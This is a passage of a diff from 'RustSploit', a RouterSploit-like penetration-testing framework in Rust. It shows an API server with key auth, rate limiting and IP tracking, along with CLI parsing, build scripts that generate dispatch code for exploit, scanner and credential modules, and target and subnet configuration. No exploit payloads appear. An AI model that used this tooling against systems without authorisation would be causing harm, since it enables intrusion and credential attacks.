"[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
tracker.ip,
tracker.request_count,
tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
duration.num_seconds()
)).await;
} else {
// Create new tracker - all fields are set and will be used
let new_tracker = IpTracker {
ip: ip.to_string(),
first_seen: now,
last_seen: now,
request_count: 1,
};
// Log new IP using all fields
let _ = self.log_message(&format!(
"[TRACKING] New IP detected: {} (first seen: {})",
new_tracker.ip,
new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
)).await;
tracker_guard.insert(ip.to_string(), new_tracker);
}
let unique_ips = tracker_guard.len() as u32;
drop(tracker_guard);
if unique_ips > self.ip_limit {
let new_key = self.rotate_key().await?;
self.log_message(&format!(
"[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
unique_ips, self.ip_limit, new_key
))
.await?;
println!(
"⚠️ [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
unique_ips, self.ip_limit
);
println!("⚠️ New API key: {}", new_key);
return Ok(true);
}
Ok(false)
}
pub async fn log_message(&self, message: &str) -> Result<()> {
let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
let safe = sanitize_for_log(message);
let log_entry = format!("[{}] {}\n", timestamp, safe);
// Log to terminal
println!("{}", log_entry.trim());
// Log to file
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(&self.log_file)
.await
.context("Failed to open log file")?;
file.write_all(log_entry.as_bytes())
.await
.context("Failed to write to log file")?;
Ok(())
}
pub async fn verify_key(&self, provided_key: &str) -> bool {
let key_guard = self.current_key.read().await;
key_guard.key == provided_key
}
pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
if let Some(tracker) = failures_guard.get_mut(ip) {
// Check if IP is currently blocked
if let Some(blocked_until) = tracker.blocked_until {
if now < blocked_until {
let remaining = (blocked_until - now).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
ip, remaining, tracker.failed_attempts
))
.await?;
return Ok(false); // Blocked
} else {
// Block period expired, reset
tracker.failed_attempts = 0;
tracker.blocked_until = None;
self.log_message(&format!(
"[RATE_LIMIT] Block period expired for IP {}, resetting counter",
ip
))
.await?;
}
}
}
Ok(true) // Not blocked
}
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
// Validate IP string length
if ip.len() > 128 {
return Ok(());
}
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
// Cleanup old entries if we have too many (memory protection)
if failures_guard.len() >= MAX_AUTH_FAILURE_ENTRIES {
// Remove expired blocks and oldest entries
let cutoff = now - chrono::Duration::hours(1);
failures_guard.retain(|_, v| {
v.blocked_until.map(|b| b > now).unwrap_or(false) ||
v.first_failure > cutoff
});
let _ = self.log_message(&format!(
"[CLEANUP] Pruned auth failure tracker to {} entries",
failures_guard.len()
)).await;
}
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
AuthFailureTracker {
ip: ip.to_string(),
failed_attempts: 0,
first_failure: now,
blocked_until: None,
}
});
// Set first_failure if this is the first attempt
if tracker.failed_attempts == 0 {
tracker.first_failure = now;
}
tracker.failed_attempts = tracker.failed_attempts.saturating_add(1);
// Block after 3 failed attempts for 30 seconds
if tracker.failed_attempts >= 3 {
let block_until = now + chrono::Duration::seconds(30);
tracker.blocked_until = Some(block_until);
let duration_since_first = (now - tracker.first_failure).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
duration_since_first
))
.await?;
println!(
"🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
);
} else {
self.log_message(&format!(
"[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
}
Ok(())
}
pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
if let Some(tracker) = failures_guard.get_mut(ip) {
if tracker.failed_attempts > 0 {
self.log_message(&format!(
"[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
ip, tracker.failed_attempts
))
.await?;
}
tracker.failed_attempts = 0;
tracker.blocked_until = None;
}
Ok(())
}
}
async fn auth_middleware(
State(state): State<ApiState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Extract IP address - try to get from headers first (for proxied requests)
let client_ip = headers
.get("x-forwarded-for")
.or_else(|| headers.get("x-real-ip"))
.and_then(|h| h.to_str().ok())
.map(|s| {
s.split(',')
.next()
.unwrap_or("")
.trim()
.to_string()
})
.filter(|s| !s.is_empty())
.unwrap_or_else(|| addr.ip().to_string());
// Check rate limit before processing authentication
if client_ip != "unknown" {
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
if !allowed {
let response = ApiResponse {
success: false,
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
data: None,
};
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
}
}
}
// Extract API key from Authorization header
let auth_header = headers
.get("Authorization")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
let provided_key = if auth_header.starts_with("Bearer ") {
&auth_header[7..]
} else if auth_header.starts_with("ApiKey ") {
&auth_header[7..]
} else {
auth_header
};
// Basic key format validation
if !validate_api_key_format(provided_key) {
let response = ApiResponse {
success: false,
message: "Malformed API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Verify API key
let is_valid = state.verify_key(provided_key).await;
if !is_valid {
// Record failed authentication attempt
if client_ip != "unknown" {
let _ = state.record_auth_failure(&client_ip).await;
}
let response = ApiResponse {
success: false,
message: "Invalid API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Successful authentication - reset failure counter for this IP
if client_ip != "unknown" {
let _ = state.reset_auth_failures(&client_ip).await;
}
// Track IP for hardening (if enabled)
let _ = state.track_ip(&client_ip).await;
next.run(request).await
}
async fn health_check() -> Json<ApiResponse> {
Json(ApiResponse {
success: true,
message: "API is running".to_string(),
data: None,
})
}
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
let modules = commands::discover_modules();
let mut exploits = Vec::new();
let mut scanners = Vec::new();
let mut creds = Vec::new();
for module in modules {
if module.starts_with("exploits/") {
exploits.push(module);
} else if module.starts_with("scanners/") {
scanners.push(module);
} else if module.starts_with("creds/") {
creds.push(module);
}
}
let data = ListModulesResponse {
exploits,
scanners,
creds,
};
Json(ApiResponse {
success: true,
message: "Modules retrieved successfully".to_string(),
data: Some(serde_json::to_value(data).unwrap_or(serde_json::Value::Null)),
})
}
async fn run_module(
State(state): State<ApiState>,
Json(payload): Json<RunModuleRequest>,
) -> Result<Json<ApiResponse>, StatusCode> {
let module_name_raw = payload.module.as_str();
let target_raw = payload.target.as_str();
// Validate inputs
if !validate_module_name(module_name_raw) {
return Err(StatusCode::BAD_REQUEST);
}
if !validate_target(target_raw) {
return Err(StatusCode::BAD_REQUEST);
}
// Sanitize for logging only
let module_name = sanitize_for_log(module_name_raw);
let target_name = sanitize_for_log(target_raw);
state
.log_message(&format!(
"API request: run module '{}' on target '{}'",
module_name, target_name
))
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Acquire permit to limit concurrency
// We hold an owned permit and move it into the thread
let permit = state.execution_limit.clone().acquire_owned().await.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Run the module in a separate OS thread to support !Send futures (like Mutex guards and ThreadRng)
// We use a current_thread runtime which allows !Send futures to be blocked on.
let module = payload.module.clone();
let target = payload.target.clone();
let state_clone = state.clone();
std::thread::spawn(move || {
let _permit = permit; // Permit is dropped when thread finishes
// Use current_thread runtime for lightweight isolation and !Send support
let rt = tokio::runtime::Builder::new_current_thread()
.enable_all()
.build();
match rt {
Ok(rt) => {
rt.block_on(async {
if let Err(e) = commands::run_module(&module, &target).await {
let _ = state_clone
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
.await;
} else {
let _ = state_clone
.log_message(&format!(
"Successfully completed module '{}' on target '{}'",
sanitize_for_log(&module), sanitize_for_log(&target)
))
.await;
}
});
}
Err(e) => {
eprintln!("Failed to create runtime for module execution: {}", e);
}
}
});
Ok(Json(ApiResponse {
success: true,
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
data: None,
}))
}
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
let key_guard = state.current_key.read().await;
let tracker_guard = state.ip_tracker.read().await;
// Collect all tracked IPs with their details
let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
let ip_details: Vec<serde_json::Value> = tracked_ips
.iter()
.map(|tracker| {
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
})
})
.collect();
let status_data = serde_json::json!({
"harden_enabled": state.harden_enabled,
"ip_limit": state.ip_limit,
"unique_ips": tracker_guard.len(),
"key_created_at": key_guard.created_at.to_rfc3339(),
"log_file": state.log_file.to_string_lossy(),
"tracked_ips": ip_details,
});
Json(ApiResponse {
success: true,
message: "Status retrieved successfully".to_string(),
data: Some(status_data),
})
}
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
let new_key = state
.rotate_key()
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
Ok(Json(ApiResponse {
success: true,
message: "API key rotated successfully".to_string(),
data: Some(serde_json::json!({ "new_key": new_key })),
}))
}
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
let tracker_guard = state.ip_tracker.read().await;
let failures_guard = state.auth_failures.read().await;
// Use all fields from IpTracker
let ips: Vec<serde_json::Value> = tracker_guard
.values()
.map(|tracker| {
// Get auth failure info for this IP if it exists
let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
serde_json::json!({
"failed_attempts": fail.failed_attempts,
"first_failure": fail.first_failure.to_rfc3339(),
"blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
})
});
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
"duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
"auth_failures": auth_info,
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} tracked IP addresses", ips.len()),
data: Some(serde_json::json!({ "ips": ips })),
})
}
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
let failures_guard = state.auth_failures.read().await;
let now = Utc::now();
// Use all fields from AuthFailureTracker
let failures: Vec<serde_json::Value> = failures_guard
.values()
.map(|tracker| {
let is_blocked = tracker.blocked_until
.map(|blocked_until| now < blocked_until)
.unwrap_or(false);
let remaining_seconds = if is_blocked {
tracker.blocked_until
.map(|blocked_until| (blocked_until - now).num_seconds())
.unwrap_or(0)
} else {
0
};
serde_json::json!({
"ip": tracker.ip,
"failed_attempts": tracker.failed_attempts,
"first_failure": tracker.first_failure.to_rfc3339(),
"blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": is_blocked,
"remaining_block_seconds": remaining_seconds,
"duration_since_first": (now - tracker.first_failure).num_seconds(),
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
data: Some(serde_json::json!({ "auth_failures": failures })),
})
}
pub async fn start_api_server(
bind_address: &str,
api_key: String,
harden: bool,
ip_limit: u32,
) -> Result<()> {
let state = ApiState::new(api_key.clone(), harden, ip_limit);
// Log initial startup
state
.log_message(&format!(
"Starting API server on {} with hardening: {}, IP limit: {}",
bind_address, harden, ip_limit
))
.await?;
println!("🚀 Starting RustSploit API server...");
println!("📍 Binding to: {}", bind_address);
println!("🔑 Initial API key: {}", api_key);
println!("🛡️ Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
if harden {
println!("📊 IP limit: {}", ip_limit);
}
println!("📝 Log file: {}", state.log_file.display());
// Create routes that require authentication
let protected_routes = Router::new()
.route("/api/modules", get(list_modules))
.route("/api/run", post(run_module))
.route("/api/status", get(get_status))
.route("/api/rotate-key", post(rotate_key_endpoint))
.route("/api/ips", get(get_tracked_ips))
.route("/api/auth-failures", get(get_auth_failures))
.layer(axum::middleware::from_fn_with_state(
state.clone(),
auth_middleware,
));
let app = Router::new()
.route("/health", get(health_check))
.merge(protected_routes)
.layer(
ServiceBuilder::new()
.layer(RequestBodyLimitLayer::new(MAX_REQUEST_BODY_SIZE))
.layer(TraceLayer::new_for_http())
)
.with_state(state);
let listener = tokio::net::TcpListener::bind(bind_address)
.await
.context(format!("Failed to bind to {}", bind_address))?;
println!("✅ API server is running! Use the API key in Authorization header.");
println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
axum::serve(
listener,
app.into_make_service_with_connect_info::<SocketAddr>(),
)
.await
.context("API server error")?;
Ok(())
}
-46
View File
@@ -1,46 +0,0 @@
use clap::{ArgGroup, Parser};
/// Simple RouterSploit-like CLI in Rust
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command", "api"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
pub command: Option<String>,
/// Target IP or hostname
#[arg(short, long)]
pub target: Option<String>,
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
/// Launch API server mode
#[arg(long)]
pub api: bool,
/// API key for authentication (required when --api is used)
#[arg(long, requires = "api")]
pub api_key: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
-139
View File
@@ -1,139 +0,0 @@
pub mod exploit;
pub mod scanner;
pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use crate::config;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
// Use CLI target if provided, otherwise try global target
let raw = if let Some(ref t) = cli_args.target {
t.clone()
} else if config::GLOBAL_CONFIG.has_target() {
// Use single IP from global target (handles subnets intelligently)
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
};
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
}
Ok(())
}
/// Interactive shell: handles `run` with raw target string
/// If raw_target is empty, uses global target if available
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
let full_match = available.iter().find(|m| m == &module_path);
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
});
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for m in available {
println!(" {}", m);
}
return Ok(());
};
// Use provided target, or fall back to global target
let target_str = if raw_target.is_empty() {
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
}
} else {
raw_target.to_string()
};
let target = normalize_target(&target_str)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, &target).await?,
"scanners" => scanner::run_scan(module_name, &target).await?,
"creds" => creds::run_cred_check(module_name, &target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
Ok(())
}
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/");
modules.push(module_path);
}
}
}
}
modules
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
-264
View File
@@ -1,264 +0,0 @@
use anyhow::{Result, anyhow};
use std::sync::{Arc, RwLock};
use ipnetwork::IpNetwork;
use regex::Regex;
/// Maximum length for target strings
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for hostname
const MAX_HOSTNAME_LENGTH: usize = 253;
/// Global configuration for the framework
#[derive(Clone, Debug)]
pub struct GlobalConfig {
/// Global target - can be a single IP or CIDR subnet
target: Arc<RwLock<Option<TargetConfig>>>,
}
#[derive(Clone, Debug)]
pub enum TargetConfig {
/// Single IP address or hostname
Single(String),
/// CIDR subnet (e.g., "192.168.1.0/24")
Subnet(IpNetwork),
}
impl GlobalConfig {
/// Create a new global configuration
pub fn new() -> Self {
Self {
target: Arc::new(RwLock::new(None)),
}
}
/// Set the global target (IP, hostname, or CIDR subnet)
pub fn set_target(&self, target: &str) -> Result<()> {
let trimmed = target.trim();
// Basic validation
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
// Length check
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters)",
MAX_TARGET_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Target cannot contain control characters"));
}
// Check for path traversal attempts
if trimmed.contains("..") || trimmed.contains("//") {
return Err(anyhow!("Target contains invalid characters (path traversal)"));
}
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
// Validate hostname/IP format
Self::validate_hostname_or_ip(trimmed)?;
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
/// Validates a hostname or IP address format
fn validate_hostname_or_ip(target: &str) -> Result<()> {
// Length check for hostname
if target.len() > MAX_HOSTNAME_LENGTH {
return Err(anyhow!(
"Hostname too long (max {} characters)",
MAX_HOSTNAME_LENGTH
));
}
// Check for valid characters
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!(
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
));
}
// Check for spaces
if target.contains(' ') {
return Err(anyhow!("Target cannot contain spaces"));
}
// Basic hostname format check (not starting/ending with special chars)
if target.starts_with('.') || target.starts_with('-') {
return Err(anyhow!("Target cannot start with '.' or '-'"));
}
if target.ends_with('.') && !target.ends_with("..") {
// Allow trailing dot for FQDN, but not double dots
}
// Check for consecutive dots (invalid in hostnames)
if target.contains("..") {
return Err(anyhow!("Target cannot contain consecutive dots"));
}
Ok(())
}
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let target_guard = self.target.read().unwrap();
target_guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
})
}
/// Get a single IP address from the global target
/// For subnets, returns the network address (first IP)
pub fn get_single_target_ip(&self) -> Result<String> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
Ok(ip.clone())
}
Some(TargetConfig::Subnet(net)) => {
// Return the network address (first IP in the subnet)
Ok(net.network().to_string())
}
None => Err(anyhow!("No global target set")),
}
}
/// Get all IP addresses from the global target
/// Returns a vector of IP addresses (expands subnets)
/// For very large subnets (> 65536 IPs), returns an error
pub fn get_target_ips(&self) -> Result<Vec<String>> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
// For single IP/hostname, return as-is
Ok(vec![ip.clone()])
}
Some(TargetConfig::Subnet(net)) => {
// Check subnet size to prevent memory issues
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
// For very large IPv6 subnets, cap at u64::MAX
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
if size > MAX_SUBNET_SIZE {
return Err(anyhow!(
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
size, MAX_SUBNET_SIZE
));
}
// Expand subnet to individual IPs
let mut ips = Vec::new();
for ip in net.iter() {
ips.push(ip.to_string());
}
Ok(ips)
}
None => Err(anyhow!("No global target set")),
}
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
let target_guard = self.target.read().unwrap();
target_guard.is_some()
}
/// Check if global target is a subnet
